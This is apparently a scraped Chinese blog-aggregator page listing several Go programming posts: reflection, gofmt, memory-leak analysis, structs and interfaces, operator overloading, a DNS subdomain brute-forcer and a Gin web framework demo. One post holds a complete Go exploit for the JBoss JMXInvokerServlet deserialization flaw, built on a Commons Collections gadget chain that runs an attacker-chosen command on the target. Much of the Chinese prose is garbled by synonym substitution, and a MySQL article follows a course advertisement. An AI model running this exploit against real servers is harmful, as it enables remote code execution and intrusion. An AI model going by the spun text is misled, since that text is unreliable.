 反射使得Go语言具备一些动静个性,比方不晓得参数类型怎么办?当然你能够定义多个函数,别离传递不同参数;你也能够定义一个函数就行,参数类型为interface{},函数内通过反射操作变量。一些rpc框架,通常应用反射注册服务办法,以及通过反射调用服务办法。 反射初体验 如何应用反射呢?咱们以字符串转化函数为例,strconv包定义了很多函数,能够将bool值,int值,float值等转化为字符串;然而,如果变量类型不晓得呢?是否封装一个能够转化所有类型到字符串的函数呢?当然能够了,如上一篇文章最初,通过v.(type)与switch语法,判断变量类型,执行不同转化函数,只是还有一些细节须要非凡解决,如指针类型变量。咱们能够参考github.com/spf13/cast依赖库,其实现了不同类型之间的转化函数,转化到字符串的函数如下: func ToStringE(a interface{}) (string, error) { i = indirectToStringerOrError(i) switch s := i.(type) { //各类型转化 }}func indirectToStringerOrError(a interface{}) interface{} { if a == nil { return nil } //局部类型实现了fmt.Stringer接口(String() string办法);或者error接口(Error() string办法) //这些类型只须要调用对用办法转化为字符串就行 var errorType = reflect.TypeOf((*error)(nil)).Elem() var fmtStringerType = reflect.TypeOf((*fmt.Stringer)(nil)).Elem() v := reflect.ValueOf(a) //指针类型的变量,获取其指向的value对象 for !v.Type().Implements(fmtStringerType) && !v.Type().Implements(errorType) && v.Kind() == reflect.Ptr && !v.IsNil() { v = v.Elem() } //包装为空接口interface{} return v.Interface()} 首次看这段代码,可能会不知所云,reflect.TypeOf是什么不理解,reflect.ValueOf也看不懂,v.Type().Implements又有什么作用,等等等等;这些其实都是反射罕用的一些办法以及套路。Go语言反射规范库定义在包reflect,最罕用reflect.Type,示意Go语言类型,这是一个接口,定义了很多办法,能够帮忙咱们获取到该类型领有的属性、办法,占用内存大小等等;以及reflect.Value,示意Go语言中的值,其蕴含变量的值,以及该变量的类型信息。 什么类型变量能够转化为字符串呢?int,float,[]byte等都必定都是能够的;除了这些,局部接口也是能够的,如fmt.Stringer接口,如error接口,其都定义了办法能够返回该类型字符串形容;另外对于指针类型,想转化为字符串,必定先要获取到其指向的元素类型以及值才行。 ...

September 20, 2022 · 5 min · jiezi

关于go:Go-代码风格没人喜欢不对Gofmt-是所有人的最爱

大家好,我是煎鱼。 在任何语言进行编程开发时,只有波及到多人合作。就肯定会遇到一个旷世奋斗的大问题。那就是:编码格调。 Go 的,PHP 的,Java 的,C++ 的;高级、中级、高级、治理的格调;传统的、互联网的又都不一样。 谁的格调更好例如经典的判断场景:if err != nil ,至多能够写出三种模式。如下代码: # 形式一if err != nil { // do something...}# 形式二if err != nil{ // do something...}# 形式三if err != nil { // do something... }在团队中,到底选用哪一种形式呢?看性能?看格调?看少打几个空格?看谁拳头大? 这是个常常明的暗里撕逼的问题。 对立编码格调在 Go 的谚语中有一句是:“Gofmt’s style is no one’s favorite, yet gofmt is everyone’s favorite”。大抵的意思是 Gofmt 的格调没有人喜爱,但 Gofmt 是每个人的最爱。 这是为什么呢?又爱又不爱的。 咱们先从 Gofmt 的性能来讲,它可能格式化 Go 程序,应用制表符来缩进,应用空格来对齐,可能让你的代码长的都一样。 无论是谁,怎么写。只有联合 IDE 和 Gofmt 一配置,都会变成如下格局: if err != nil { // do something...}因而在 Go 中,编码格调的争议变得毫无意义。由官网对立管控,若有矛盾也会转移到 Go 团队自身。 ...

September 20, 2022 · 1 min · jiezi

关于go:go-hack十三jboss-poc

go网络安全代码地址jboss 破绽poc package main// poc测试import ( "bytes" "crypto/tls" "encoding/hex" "flag" "fmt" "log" "net/http")func jboss(host string, ssl bool, cmd string) (int, error) { serializedObject, err := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") if err != nil { return 0, err } serializedObject = append(serializedObject, byte(len(cmd))) serializedObject = append(serializedObject, []byte(cmd)...) afterBuf, err := hex.DecodeString("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A") if err != nil { return 0, err } serializedObject = append(serializedObject, afterBuf...) var client *http.Client var url string if ssl { client = &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } url = fmt.Sprintf("https://%s/invoker/JMXInvokerServlet", host) } else { client = &http.Client{} url = fmt.Sprintf("http://%s/invoker/JMXInvokerServlet", host) } req, err := http.NewRequest("POST", url, bytes.NewReader(serializedObject)) if err != nil { return 0, err } req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko") req.Header.Set("Content-Type", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue") resp, err := client.Do(req) if err != nil { return 0, err } return resp.StatusCode, nil}func main() { var ( host = flag.String("host", "", "The host and port to attack, ex: 192.168.1.1:8080") isSSL = flag.Bool("ssl", false, "Use SSL") command = flag.String("cmd", "", "The command to be executed") ) flag.Parse() code, err := jboss(*host, *isSSL, *command) if err != nil { log.Fatal(err) } log.Printf("Got status code: %d", code)}

September 19, 2022 · 1 min · jiezi

关于go:Go开发者的涨薪通道自主开发-PaaS-平台核心功能

download:Go开发者的涨薪通道:自主开发 PaaS 平台外围性能一条SQL语句从头到尾1.一段SQL是怎么诞生的?SQL语句都诞生在客户端。生成一条SQL次要有两种形式,一种是开发人员自己手工编写,另一种是相干的ORM框架主动生成。一般MySQL运行过程中收到的SQL大多是ORM框架生成的,比如Java中的MyBatis和Hibernate框架。同时,SQL生成的时机一般与用户的请求无关。当用户在零碎中执行操作时,通常会生成一条SQL。例如,咱们在阅读器上输出以下URL: 此时会先请求掘金的服务器,而后掘金外部实现中的ORM框架会根据请求的参数生成一条SQL,类似于上面的伪SQL: select * from金爵_article其中userid = 862486453028888 这个SQL大抵意义是:根据用户请求的“作者ID”,查问掘金数据库文章表中该作者的所有文章信息。从下面的案例可能显著感觉到,在用户阅读器上看到的数据一般来自于数据库,而数据库执行的SQL来自于用户的操作。这两者是互补的,包含任何写操作(增加、删除、更改),本质上也会转换成SQL的片段。让我举一个简略的例子: 请求URL(请求URL)https://www.xxx.com/user/regi... 请求参数(请求参数){User_name:“竹子爱熊猫”,user _ pwd:“123456”,用户_性别:“男”,用户_电话:“18888888888”,......} 这里对用户明码的处理不够谨严,不做加密也不必在意~复制代码例如,在上述用户注册的情况下,当用户点击网页上的“注册”按钮时,将向目标网站的服务器发送post请求,而后将根据请求参数生成一条SQL,如下所示:insert into table_user(用户名,用户明码,用户性别,用户电话,....)价值观(“竹子爱熊猫”、“123456”、“男”、“188888888”,...);复制代码也就是说,一条SQL的诞生源于一个用户的请求。在开发程序时,SQL的一般逻辑会由业务层的代码决定,而具体的SQL语句会根据用户的请求参数和事先定制的“SQL骨架”做出。当然,在Java程序或者其余语言编写的程序中,只能生成SQL,SQL的真正执行需要数据库来实现。第二,SQL在执行之前将经历的一个过程通过上一步,一个完整的SQL就诞生了。为了让SQL失常执行,咱们将首先获得一个数据库连接对象。上一篇对于MySQL架构的文章,已经讲过MySQL的连接层有一个叫“连接池”的小工具的保护,不过相信大家都接触过这个货色,比如C3P0,德鲁伊,DBCP等等在Java里。 至此,咱们可能在这里思考一个问题。数据库保护自己的连接池,为什么咱们还需要在MySQL客户端保护一个数据库连接池?接下来咱们聊聊。 2.1、数据库连接池的必要性家喻户晓,当你要用Java创建数据库连接时,首先会读取配置文件中的连接地址、账号密码等信息,而后发动网络请求,根据配置的地址信息获取数据库连接对象。在这个过程中,因为涉及到网络请求,此时必然会经历TCP三次握手的过程。同时,在获得连接对象并实现SQL操作后,将开释数据库连接。这时分就需要经历TCP挥动四次的过程。 从下面的描述中可能清晰地感知到,Java中创建和敞开数据库连接的过程实际上耗费了大量的成本,而且程序上线后,还需要频繁的数据库操作。所以,如果每次操作数据库都获得一个新的连接对象,那么整个Java程序至多有四分之一的工夫要做TCP三次握手/四次wave的工作,对整个零碎的后果不堪设想。.... 正是因为以上原因,才出现了家喻户晓的“数据库连接池”。“数据库连接池”的思维和“线程池”是一样的,会把数据库连接到这个宝贵的资源上,用池技术来保护这个资源。也意味着当前需要进行数据库操作时,不需要自己建立连接,而是可能间接从“数据库连接池”中获取,用完之后放回连接池,达到重用的成果。 当然,连接池中保护的连接对象不会一直存在。当长时间不执行SQL操作时,连接池也会销毁这些连接对象,必要时再从新创建。然而什么时候创建,什么时候销毁,限度连接数等等,都是交给连接池来实现,不需要开发者自己关注。 好了~,回到后面抛出的问题,为什么需要用MySQL连接池在客户端保护一个连接池? 这个问题相信每个人心里都有一些答案。原因很简略。两者都使用池化技术来重用资源,俭约开销,提高性能,但针对的方向不同。 MySQL的连接池次要是为了重用线程,因为每一个数据库连接都会被MySQL中的一个线程保护,而每一次连接对象调配给一个客户端,都需要经历创建线程、调配堆栈空间这样沉重的工作...这个过程需要工夫,资源开销也不小,所以MySQL通过使用池化技术来解决这些问题。客户端的连接池次要是为了重用数据库连接,因为每一个SQL操作都需要经历TCP三次握手/四波的过程,同样耗时耗力,占用资源。所以也采纳了池化技术来解决这个问题。 其实也可能这样理解,MySQL连接池保护的是工作线程,而客户端连接池保护的是网络连接。 2.2.在执行SQL之前会发生什么回到本文的主题,当生成完整的SQL时,咱们将首先尝试在连接池中获取一个连接对象。接下来会发生什么? 在尝试从连接池中获取连接时,如果此时连接池中有空闲的连接,可能间接获取重用。但如果不是,你首先要判断以后池中的连接数是否达到了最大数量。如果连接数已满,以后线程需要等待其余线程开释连接对象。如果没有,您可能间接创建一个新的数据库连接来使用。 假设此时连接池中没有空闲的连接,需要再次创建新的连接,那么首先会发动一个网络请求来建立连接。 ①首先,将考据客户端的用户名和明码是否正确: 如果用户名不存在或明码谬误,将抛出错误代码1045和谬误消息。如果用户名和明码通过考据,请转到步骤②。 ②必定MySQL连接池中是否有空闲线程: 存在:间接从连接池中调配一个空闲线程来保护以后客户端的连接。否:创建一个新的工作线程(映射内核线程,调配堆栈空间...). worker线程会先查问MySQL自己的用户权限表,获取以后登录用户的权限信息,并进行授权。 至此,执行SQL前的筹备工作已经实现,执行SQL的通道已经打开。下一步是筹备执行SQL语句,工作线程将等待客户端传送SQL。三。SQL语句是如何在数据库中执行的?通过连接层的一系列工作,客户端会通过连接发送要执行的SQL语句,而后由MySQL服务层进行处理。然而根据用户的操作不同,MySQL执行SQL语句时会有一些区别,SQL语句指的是读操作和写操作。这两条SQL语句的执行过程是不同的。咱们先来看看select语句的执行过程。3.1.一个查问SQL的执行过程在分析查问SQL的执行过程之前,咱们先模拟一个案例进行后续分析: SQL语句Select id from ZZ _ user 其中user sex =男性,user_name =竹四号";-表格数据 +|用户标识|用户名|用户性别|用户电话|+| 1 |竹① |男| 1888888888 || 2 |竹② |男| 1358888888 || 3 |竹③ |男| 1568888888 || 4 |熊猫① |女| 1348888888 || 5 |熊猫② |女| 1858888888 || 6 |竹④ |男| 17777777 || 7 |熊猫③ |女| 166666666 |+

September 19, 2022 · 1 min · jiezi

关于go:Go-内存泄漏pprof-够用了吗

文|朱德江(GitHub ID:doujiang24) MOSN 我的项目外围开发者、蚂蚁团体技术专家 专一于云原生网关研发的相干工作 本文 2651 字 浏览 8 分钟 MOSN 是次要应用 Go 语言开发的云原生网络代理平台,在蚂蚁团体有着几十万容器的大规模生产利用。在这种大规模的利用中,常常会遇到各种内存问题,通常状况下 pprof heap profile 能够很好帮忙剖析问题。不过,有时候 pprof 也不够用,也就须要咱们有更适合的工具了。 Part.1--出生证 vs 暂住证首先 pprof 的确很好用,设计实现也都很精美,有趣味的能够查看这篇《Go 语言 pprof heap profile 实现机制》[1]。 用 pprof 来剖析内存透露,通常状况下是够用了,不过有时候,也会不够用。 这是为什么呢?因为 pprof 只是记录了内存对象被创立时的调用栈,并没有援用关系。也就是说,没有方法晓得,内存对象是因为被谁援用了而导致没有被开释。对此,我的共事--烈元同学有一个很形象的比喻,pprof 只能看到出生证,却查不了暂住证。 Part.2--须要援用关系有些场景下,咱们晓得了透露的内存是从哪里申请的,然而翻了半天代码,也搞不清楚内存为什么没有开释。比方,内存对象通过简单的调用传递,或者简单的内存池复用机制,又或者传给了某个不相熟的第三方库,在第三方库中有非预期的应用…… 在这些状况下,咱们会有一个很直觉的想法是,想看看这些内存对象的援用关系。 Part.3--内存援用关系火焰图内存援用关系火焰图,是一种内存对象援用关系的可视化形式,最早利用于 OpenResty XRay 产品。这个工具的确是内存剖析神器,给不少的客户定位过内存问题,感兴趣的能够移步 OpenResty 官网博客[2]。 下图是由一个 MOSN 服务产生的,自下而上示意的是从 GC root 到 GC object 的援用关系链,宽度示意的是对象大小 (也包含其援用的对象的大小之和) 。 有了这样的可视化后果,咱们就能够直观的看到内存对象的援用关系。 比方下图最宽的局部,示意的是 MOSN 中 cluster_manager 全局变量中援用的 cluster 内存对象: https://github.com/mosn/mosn/blob/aecc93c4b2b4801e7992387f245fe9eefa45733d/pkg/upstream/cluster/cluster_manager.go#L82 Part.4--实现原理在生成火焰图之前,首先咱们须要提取两个要害信息: - 每个内存对象之间的援用关系; ...

September 19, 2022 · 1 min · jiezi

关于go:15-GolangGo语言快速入门结构体与接口

 Go语言反对面向对象编程,然而又和传统的面向对象语言如C++,Java等略有不同:Go语言没有类class的概念,只有构造体strcut,其能够领有属性,能够领有办法,咱们能够通过构造体实现面向对象编程。Go语言也有接口interface的概念,其定义一组办法汇合,构造体只有实现接口的所有办法,就认为其实现了该接口,构造体类型变量就能赋值给接口类型变量,这相当于面向对象中的多态。另外,Go语言也能够有继承的概念,不过是通过构造体的"组合"实现的。 构造体 Go语言基于构造体实现面向对象编程,与类class的概念比拟相似,构造体能够领有属性,也能够领有办法;咱们通过点号拜访构造体任意属性或者办法。个别定义形式如下所示: package mainimport "fmt"//type关键字用于定义类型;Student构造体领有两个属性/字段type Student struct { Name string Score int}//构造体办法,办法中能够应用构造体变量;func (s Student) Study() { s.Score += 10}//构造体指针办法,办法中能够应用构造体指针变量func (s *Student) Study1() { s.Score += 10}func main() { stu := Student{ Name: "张三", Score: 60, } stu1 := &stu fmt.Println(stu.Score) //60 //stu与stu1变量,别离执行Study与Study1办法 stu.Study() fmt.Println(stu.Score) //60 stu.Study1() fmt.Println(stu.Score) //70 stu1.Study() fmt.Println(stu1.Score) //70 stu1.Study1() fmt.Println(stu1.Score) //80} 留神办法Study与办法Study1的申明,Study归属构造体类型变量,Study1归属构造体指针类型变量;两个办法中都批改了Score属性。main办法中相应的定义了构造体变量stu,构造体指针变量stu1;别离执行Study & Study1办法,变量stu与stu1的Score属性会发生变化吗?执行后果如上所示,在解释之前读者能够思考下为什么是这样的后果。另外,办法Study属于构造体类型,为什么stu1变量能够调用呢?而办法Study1属于构造体指针类型,stu也能够调用。 在答复下面问题之前,咱们先思考下,Study/Study1办法中为什么能间接应用stu/sut1变量呢?其实是编译过程中做了一些解决,申明的构造体办法,以及构造体办法的调用,都和目前看到的不太一样。底层编译生成的函数如下: //输出参数类型为StudentStudent.Study //输出类型为*Student,函数定义:(*Student).Study { //Ax寄存器第一个参数,就是*Student指针;拷贝构造体数据 MOVQ (AX), DX MOVQ 8(AX), BX MOVQ 16(AX), CX //传递构造体参数 //最终还是调用Student.Study函数 CALL Student.Study}//输出参数类型为*Student(*Student).Study1 能够看到,Study办法底层编译生成了两个函数;而Study1只编译生成一个函数。编译生成的函数,第一个参数都是构造体变量,或者构造体指针变量,这下明确了,原来是通过第一个参数传递过来的。而4种调用形式编译过程也做了一些批改: ...

September 19, 2022 · 4 min · jiezi

关于go:手写编程语言实现运算符重载

前言先带来日常的 GScript 更新:新增了可变参数的个性,语法如下: int add(string s, int ...num){ println(s); int sum = 0; for(int i=0;i<len(num);i++){ int v = num[i]; sum = sum+v; } return sum;}int x = add("abc", 1,2,3,4);println(x);assertEqual(x, 10);得益于可变参数,所以新增了格式化字符串的内置函数: //formats according to a format specifier and writes to standard output.printf(string format, any ...a){}//formats according to a format specifier and returns the resulting string.string sprintf(string format, any ...a){}上面重点看看 GScript 所反对的运算符重载是如何实现的。 应用运算符重载其实也是多态的一种表现形式,咱们能够重写运算符的重载函数,从而扭转他们的计算规定。 println(100+2*2);以这段代码的运算符为例,输入的后果天然是:104. 但如果咱们是对两个对象进行计算呢,举个例子: class Person{ int age; Person(int a){ age = a; }}Person p1 = Person(10);Person p2 = Person(20);Person p3 = p1+p2;这样的写法在 Java/Go 中都会报编译谬误,这是因为他们两者都不反对运算符重载; ...

September 19, 2022 · 1 min · jiezi

关于go:go-hack十二-pcap包解析

go网络安全代码地址 package mainimport ( "bufio" "flag" "fmt" "log" "os" "text/tabwriter" "github.com/miekg/dns")// 遍历字典,枚举子域,并且查问子域名的a记录和cname记录// 应用 go run subdomain_gusee.go -domain="xxx.xx" -wordlist="xx" -c=10 -dns="8.8.8.8:53"var ( fdomain = flag.String("domain", "baidu.com", "猜解的域") fwordlist = flag.String("wordlist", "", "暴破字典") fworkcount = flag.Int("c", 30, "协程数") fdns = flag.String("dns", "8.8.8.8:53", "dns"))type result struct { ip string // 解析的a记录 host string allHost []string // 所有的cname 可能cname1->cname2->cname3->a}// 查问a记录func lookupA(fqdn, fdns string) ([]string, error) { var m dns.Msg var ips []string m.SetQuestion(dns.Fqdn(fqdn), dns.TypeA) in, err := dns.Exchange(&m, fdns) if err != nil { return ips, err } for _, answer := range in.Answer { if a, ok := answer.(*dns.A); ok { ips = append(ips, a.A.String()) } } return ips, nil}// 查问a记录func lookupCname(fqdn, fdns string) ([]string, error) { var m dns.Msg var fqdns []string m.SetQuestion(dns.Fqdn(fqdn), dns.TypeCNAME) in, err := dns.Exchange(&m, fdns) if err != nil { return fqdns, err } for _, answer := range in.Answer { if a, ok := answer.(*dns.CNAME); ok { log.Println(a.Target) fqdns = append(fqdns, a.Target) } } return fqdns, nil}func lookup(fqdn, fdns string) []result { var results []result var cnames []string var cfqdn = fqdn //拷贝出一份 避免篡改 for { cname, err := lookupCname(cfqdn, fdns) if err != nil { //log.Println(err) return nil } if len(cname) > 0 { cfqdn = cname[0] // 跟踪出所有的cname,直到最初一个 cnames = append(cnames, cname...) continue } ips, err := lookupA(cfqdn, fdns) if err != nil { //log.Println(err) return nil } for _, v := range ips { results = append(results, result{ ip: v, host: cfqdn, allHost: cnames, }) } } fmt.Println(results) return results}// 协程解决// in输出fqdn out输入result,在main中接管,isdone 标识是否完结func worker(in chan string, out chan []result, isdone chan struct{}, fdns string) { for item := range in { // 从in队列中读取 results := lookup(item, fdns) if len(results) > 0 { out <- results // 将result传出去 } } isdone <- struct{}{} // 避免没有实现就终止}func main() { flag.Parse() if *fdomain == "" || *fwordlist == "" { fmt.Println("传错谬误") os.Exit(1) } in := make(chan string) out := make(chan []result) isdone := make(chan struct{}) // 暴破文件读取 fn, err := os.Open(*fwordlist) // 关上文件 if err != nil { log.Fatalln(err) } defer fn.Close() // 创立遍历器 scanner := bufio.NewScanner(fn) // 创立10个消费者 for i := 0; i < *fworkcount; i++ { go worker(in, out, isdone, *fdns) } // 须要先创立期待工作的协程,不然会死锁 // 生产者 for scanner.Scan() { in <- fmt.Sprintf("%s.%s", scanner.Text(), *fdomain) } // 后果 var results []result go func() { for item := range out { results = append(results, item...) } isdone <- struct{}{} }() close(in) // 所有数据发送实现,进行敞开管道 // 回收worker过程的实现管道 for i := 0; i < *fworkcount; i++ { <-isdone } // 接管完worker的数据 敞开 close(out) <-isdone // result的is_done 管道 w := tabwriter.NewWriter(os.Stdout,0,8,' ',' ',0) //NewWriter(output io.Writer, minwidth int, tabwidth int, padding int, padchar byte, flags uint) *tabwriter.Writer for _,v := range results{ fmt.Fprintf(w,"%s\t%s\n",v.host,v.ip) } w.Flush()}

September 18, 2022 · 3 min · jiezi

关于go:Gin微服务框架golang-web框架完整示例Demo

Gin简介Gin是一个golang的微框架,封装比拟优雅,API敌对,源码正文比拟明确,具备疾速灵便,容错不便等特点。其实对于golang而言,web框架的依赖要远比Python,Java之类的要小。本身的net/http足够简略,性能也十分不错。框架更像是一些罕用函数或者工具的汇合。借助框架开发,不仅能够省去很多罕用的封装带来的工夫,也有助于团队的编码格调和造成标准。 gin特点性能优良基于官网的net/http的无限封装不便 灵便的中间件数据绑定很弱小社区比拟沉闷官网源代码地址: https://github.com/gin-gonic/gin gin web微服务框架示例总体性能 集成logrus.Logger日志按天切割,json格局打印集成swagger文档指定yml配置文件启动异样解决拦截器打印申请和响应参数main.go我的项目入口init办法: 初始化相干配置main办法: 下面的正文定义了swagger信息,而后gin初始化,路由初始化,是否启用swagger package mainimport ( "flag" "fmt" . "gin_demo/config" _ "gin_demo/docs" . "gin_demo/log" "gin_demo/router" "github.com/gin-gonic/gin" "github.com/swaggo/gin-swagger" "github.com/swaggo/gin-swagger/swaggerFiles" "runtime" "time")var version = flag.Bool("version", true, "是否打印版本,默认打印")var swagger = flag.Bool("swagger", true, "是否启动swagger接口文档,默认不启动")var configFile = flag.String("configFile", "config/config.yml", "配置文件门路")var projectPath = flag.String("projectPath", "/gin_demo", "我的项目拜访门路前缀")func init(){ flag.Parse() ConfigRead(*configFile) LogInit()}//@title gin示例 API//@version 0.0.1//@description 相干接口文档//@host 127.0.0.1:8080//@BasePathfunc main() { if *version { showVersion := fmt.Sprintf("%s %s@%s", "gin_demo", "1.0.0", time.Now().Format("2006-01-02 15:04:05")) fmt.Println(showVersion) fmt.Println("go version: " + runtime.Version()) } Log.Info("start server...") gin.SetMode(gin.DebugMode) //全局设置环境,此为开发环境,线上环境为gin.ReleaseMode router.GinInit() //gin工程实例 *gin.Engine r := router.Router //路由初始化 router.SetupRouter(*projectPath) if *swagger { //启动拜访swagger文档 r.GET(*projectPath + "/swagger/*any", ginSwagger.WrapHandler(swaggerFiles.Handler)) } Log.Info("listen on :%s", Cfg.ListenPort) //监听端口 r.Run(":" + Cfg.ListenPort)}router.go 路由package routerimport ( "github.com/gin-gonic/gin" "net/http")var Router *gin.Enginefunc GinInit() { // 禁用控制台色彩 //gin.DisableConsoleColor() //gin.New()返回一个*Engine 指针 //而gin.Default()岂但返回一个*Engine 指针,而且还进行了debugPrintWARNINGDefault()和engine.Use(Logger(), Recovery())其余的一些中间件操作 Router = gin.Default() //Router = gin.New()}func SetupRouter(projectPath string) { //应用日志 //Router.Use(gin.Logger()) //应用Panic解决计划 //Router.Use(gin.Recovery()) Router.Use(InitErrorHandler) Router.Use(InitAccessLogMiddleware) // 未知调用形式 Router.NoMethod(InitNoMethodJson) // 未知路由解决 Router.NoRoute(InitNoRouteJson) // Ping Router.GET(projectPath + "/ping", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ "ping": "pong", }) }) Router.POST(projectPath + "/pp", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ "ping": "post", }) })}middleware.go 中间件拦截器package routerimport ( "encoding/json" . "gin_demo/log" . "gin_demo/threadlocal" "github.com/gin-gonic/gin" . "github.com/jtolds/gls" "github.com/sirupsen/logrus" "io/ioutil" "net/http" "strconv" "time")// ErrorHandler is a middleware to handle errors encountered during requestsfunc InitErrorHandler(c *gin.Context) { c.Next() if len(c.Errors) > 0 { c.JSON(http.StatusBadRequest, gin.H{ "errors": c.Errors, }) }}//未知路由解决 返回jsonfunc InitNoRouteJson(c *gin.Context) { c.JSON(http.StatusNotFound, gin.H{ "code": http.StatusNotFound, "msg": "path not found", })}//未知调用形式 返回jsonfunc InitNoMethodJson(c *gin.Context) { c.JSON(http.StatusMethodNotAllowed, gin.H{ "code": http.StatusMethodNotAllowed, "msg": "method not allowed", })}//打印申请和响应日志func InitAccessLogMiddleware(c *gin.Context) { //request id requestId := c.Request.Header.Get("X-RequestId") if requestId == "" { requestId = strconv.FormatInt(time.Now().UnixNano(), 10) } //response requestId c.Writer.Header().Set("X-RequestId", requestId) // 开始工夫 startTime := time.Now() //解决申请 do chian Mgr.SetValues(Values{Rid: requestId}, func() { c.Next() }) // 完结工夫 endTime := time.Now() // 执行工夫 latencyTime := endTime.Sub(startTime) // 申请形式 reqMethod := c.Request.Method // 申请路由 reqUri := c.Request.RequestURI // 状态码 statusCode := c.Writer.Status() // 申请IP clientIP := c.ClientIP() //申请参数 body, _ := ioutil.ReadAll(c.Request.Body) //返回参数 responseMap := c.Keys responseJson, _ := json.Marshal(responseMap) //日志格局 //LogAccess.Infof("| %3d | %13v | %15s | %s | %s | %s | %s | %s |", // statusCode, // latencyTime, // clientIP, // reqMethod, // reqUri, // requestId, // string(body), // string(responseJson), //) // 日志格局 LogAccess.WithFields(logrus.Fields{ "status_code": statusCode, "latency_time": latencyTime, "client_ip": clientIP, "req_method": reqMethod, "req_uri": reqUri, "req_Id": requestId, "req_body": string(body), "res_body": string(responseJson), }).Info()}logger.go 日志定义和配置package logimport ( "fmt" "gin_demo/config" "github.com/sirupsen/logrus" rotatelogs "github.com/lestrrat-go/file-rotatelogs" "github.com/rifflock/lfshook" "os" "path" "time")var Log *logrus.Loggervar LogAccess *logrus.Loggerfunc LogInit() { logFilePath := "" logPath := config.Cfg.LogPath if len(logPath) == 0 { //获取当前目录 if dir, err := os.Getwd(); err == nil { logFilePath = dir + "/logs/" } } else { //指定目录 logFilePath = logPath + "/logs/" } if err := os.MkdirAll(logFilePath, 0777); err != nil { fmt.Println(err.Error()) } rootLogInit(logFilePath) accessLogInit(logFilePath)}func rootLogInit(logFilePath string) { logFileName := "root.log" //日志文件 fileName := path.Join(logFilePath, logFileName) if _, err := os.Stat(fileName); err != nil { if _, err := os.Create(fileName); err != nil { fmt.Println(err.Error()) } } //写入文件 src, err := os.OpenFile(fileName, os.O_APPEND|os.O_WRONLY, os.ModeAppend) if err != nil { fmt.Println("err", err) } //实例化 Log = logrus.New() //设置输入 Log.Out = src Log.Out = os.Stdout //设置日志级别 Log.SetLevel(logrus.DebugLevel) // 设置 rotatelogs logWriter, err := rotatelogs.New( // 宰割后的文件名称 fileName + "-%Y%m%d.log", // 生成软链,指向最新日志文件 rotatelogs.WithLinkName(fileName), // 设置最大保留工夫(2天) rotatelogs.WithMaxAge(2*24*time.Hour), // 设置日志切割工夫距离(1天) rotatelogs.WithRotationTime(24*time.Hour), ) writeMap := lfshook.WriterMap{ logrus.InfoLevel: logWriter, logrus.FatalLevel: logWriter, logrus.DebugLevel: logWriter, logrus.WarnLevel: logWriter, logrus.ErrorLevel: logWriter, logrus.PanicLevel: logWriter, } //设置日志格局 lfHook := lfshook.NewHook(writeMap, &logrus.JSONFormatter{ TimestampFormat:"2006-01-02 15:04:05", }) // 新增 Hook Log.AddHook(lfHook)}func accessLogInit(logFilePath string) { logFileNameAccess := "access.log" fileNameAccess := path.Join(logFilePath, logFileNameAccess) if _, err := os.Stat(fileNameAccess); err != nil { if _, err := os.Create(fileNameAccess); err != nil { fmt.Println(err.Error()) } } srcAccess, err := os.OpenFile(fileNameAccess, os.O_APPEND|os.O_WRONLY, os.ModeAppend) if err != nil { fmt.Println("err", err) } //实例化 LogAccess = logrus.New() //设置输入 LogAccess.Out = srcAccess LogAccess.Out = os.Stdout //设置日志级别 LogAccess.SetLevel(logrus.DebugLevel) // 设置 rotatelogs logWriterAccess, err := rotatelogs.New( // 宰割后的文件名称 fileNameAccess + "-%Y%m%d.log", // 生成软链,指向最新日志文件 rotatelogs.WithLinkName(fileNameAccess), // 设置最大保留工夫(2天) 